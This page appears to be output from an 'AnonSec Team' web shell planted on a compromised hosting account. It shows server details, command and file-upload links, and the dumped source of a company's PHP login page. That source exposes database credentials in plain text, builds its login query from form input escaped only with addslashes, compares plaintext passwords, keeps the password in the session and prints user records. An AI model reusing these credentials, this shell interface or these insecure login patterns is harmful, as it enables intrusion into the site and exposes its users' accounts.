AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.180
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/TEST/../MC/temp/12650/../1322/../../../mcg/.github/../pages/python/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TEST/../MC/temp/12650/../1322/../../../mcg/.github/../pages/python/../login.php
<?php
session_start();

// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
// exit() ; g
// $updated_time = get_the_modified_time('h:i a');

// echo "==>".$updated_time."<br/>"  ;
// exit() ;




//  la page login li fiha la fonction  do_redirect assliya smitha login_12_08_2025.php kent bdelt la fonction bach logiciel ykheddm f portable dyal garnier

function do_redirect($url) {
    global $c;

    // 1) Toujours en HTTPS si on te passe une URL http://
    if (stripos($url, 'http://') === 0) {
        $url = 'https://' . substr($url, 7);
    }

    // 2) Nettoyage basique
    $url = str_replace('&amp;', '&', trim($url));

    // 3) Anti-boucle : si on redirige vers la même URL, on ne fait rien
    $current = $_SERVER['REQUEST_URI'];
    if ($url === $current) {
        return;
    }

    // 4) Fermer proprement la connexion BDD si présente
    if (isset($c)) {
        dbi_close($c);
    }

    // 5) Redirection HTTP fiable (si aucun output n’a été envoyé)
    if (!headers_sent()) {
        header('Location: ' . $url, true, 303); // 303 = Post/Redirect/Get
        exit;
    }

    // 6) Fallback si les headers ont déjà été envoyés
    echo "<!doctype html><meta http-equiv='refresh' content='0;url=" . htmlspecialchars($url, ENT_QUOTES) . "'>";
    echo "Redirection vers <a href='" . htmlspecialchars($url, ENT_QUOTES) . "'>la page</a>…";
    exit;
}



// exit() ;

if($_GET['dec']== 1)
{
	$_SESSION=array();

	unset($_SESSION);
	session_destroy();
	do_redirect('../pages/login.php');
}

$servername = "logmcpedci.mysql.db";
$username = "logmcpedci";
$password = "Tmcpro040";
$database = "logmcpedci";

// Create connection
$conn = new mysqli($servername, $username, $password, $database);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}


function dbi_error () {
	$ret = mysql_error ();
	$stack = debug_backtrace() ;
	$file = sprintf("<br>Fichier : %s<br>Ligne : %s", $stack[1]['file'], $stack[1]['line']) ;
	if ( strlen ( $ret ) )
		return $ret.$file;
	else
		return "Unknown error".$file;
}


function dbi_fatal_error ( $msg, $doExit=true, $showError=true ) {
	if ( $showError ) {
		echo "<h2>Error</h2>\n";
		echo "<!--begin_error(dbierror)-->\n";
		echo "$msg\n";
		echo "<!--end_error-->\n";
	}
	if ( $doExit )
		exit;
}

function tep_db_error($query, $errno, $error) {
	global $HTTP_REFERER, $send_mail_on_db_error;
	$debug = debug_backtrace();
	if (!empty($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] == '82.66.211.152') {
	  /* die(*/echo('<font color="#000000"><b>' . $errno . ' - ' . $error . '<br><br>' . $query . '<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>');
	}
}

function dbi_query ( $sql, $fatalOnError=true, $showError=true ) {

$servername = "logmcpedci.mysql.db";
$username = "logmcpedci";
$password = "Tmcpro040";
$database = "logmcpedci";

// Create connection
$conn = new mysqli($servername, $username, $password, $database);

	global $phpdbiVerbose;

	$res = mysqli_query ($conn,$sql ) or tep_db_error($sql, mysql_errno(), mysql_error());
	if ( ! $res )
		dbi_fatal_error ( "Error executing query." .
			$phpdbiVerbose ? ( dbi_error() . "\n\n<br />\n" . $sql ) : "" .
			"", $fatalOnError, $showError );
	return $res;
}

function dbi_fetch_row ( $res ) {
	return mysqli_fetch_array ( $res );

	}




	if(isset($_SESSION['MCPRO']) && !empty($_SESSION['MCPRO']['SESSION_ID']))
	{

	do_redirect('index.php');

	}

 if(isset($_POST['user_nom']) && !empty ($_POST['user_nom']) && !empty ($_POST['user_password']) ) {

// HASHBYTES('MD5', '".$_POST['password']."');
$sql = "SELECT * FROM users WHERE user_nom = '".addslashes($_POST['user_nom'])."' AND user_password ='".addslashes($_POST['user_password'])."' ";
// echo "  ".$sql."  ";
	$user = dbi_fetch_row(dbi_query( $sql)) ;
	print_r ($user);

	if($user)
	{
		session_regenerate_id(true);
	if(!isset($_SESSION['MCPRO']))
	$_SESSION['MCPRO']=array();
	$_SESSION['MCPRO']['login'] = array($user['user_nom'].' '.$user['user_prenom'],$user['user_email'],$_POST['user_password'] , $user['photo'], $user['user_id']) ;
	$_SESSION['MCPRO']['TYPE'] = 1 ;
	$_SESSION['MCPRO']['admin'] = $user['Admin_ID'] ;
	$_SESSION['MCPRO']['user_id'] = $user['user_id'] ;
	$_SESSION['MCPRO']['SESSION_ID'] = session_id() ;
	// echo $sql2;
	// session_id()



	}
	else
	{
	$_SESSION['MCPRO']=array();
	}



		if(isset($_SESSION['MCPRO']) && !empty($_SESSION['MCPRO']['SESSION_ID']))
		{
			// echo "<pre>" ;
// print_r($_SESSION) ;
// echo "</pre>" ;
// exit() ;

list($user_statut)= dbi_fetch_row(dbi_query("SELECT user_statut FROM `users` WHERE `user_id` =  ".$_SESSION['MCPRO']['user_id']));
   if($user_statut==3){
			do_redirect('index9.php');
         }else{do_redirect('index.php'); }
	}
else
{
	// echo "amoqqqqqqqqqqfffffffffffffffqqqqqqqqqqqqqqqqqqqqqqqqqqq<br/>" ;

	do_redirect('../pages/login.php');
}

}




?>

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>M&C</title>
  <!-- Tell the browser to be responsive to screen width -->
  <meta name="viewport" content="width=device-width, initial-scale=1">

  <!-- Font Awesome -->
  <link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
  <!-- Ionicons -->
  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
  <!-- icheck bootstrap -->
  <link rel="stylesheet" href="../../plugins/icheck-bootstrap/icheck-bootstrap.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="../../dist/css/adminlte.min.css">
  <!-- Google Font: Source Sans Pro -->
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
</head>

<body class="hold-transition login-page">
<div class="login-box">
  <div class="login-logo">
    <a href=""><b>MENAGE ET COMPAGNIE</b></a>
  </div>
  <!-- /.login-logo -->
  <div class="card">
    <div class="card-body login-card-body">
      <p class="login-box-msg">Identifiez vous pour ouvrir une session</p>

      <form action="" method="post">
        <div class="input-group mb-3">
          <input name="user_nom" type="login" class="form-control" placeholder="Nom">
          <div class="input-group-append">
            <div class="input-group-text">
              <span class="fas fa-envelope"></span>
            </div>
          </div>
        </div>
        <div class="input-group mb-3">
          <input name="user_password" type="password" class="form-control" placeholder="mot de passe">
          <div class="input-group-append">
            <div class="input-group-text">
              <span class="fas fa-lock"></span>
            </div>
          </div>
        </div>
        <div class="row">
          <div class="col-6">
            <div class="icheck-primary">
              <input type="checkbox" id="remember">
              <label for="remember">
                Se souvenir de moi
              </label>
            </div>
          </div>
          <!-- /.col -->
          <div class="col-6">
            <button type="submit" class="btn btn-primary btn-block">S'enregistrer</button>
          </div>
          <!-- /.col -->
        </div>
      </form>




    </div>
    <!-- /.login-card-body -->
  </div>
</div>
<!-- /.login-box -->

<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>

</body>
</html>

AnonSec - 2021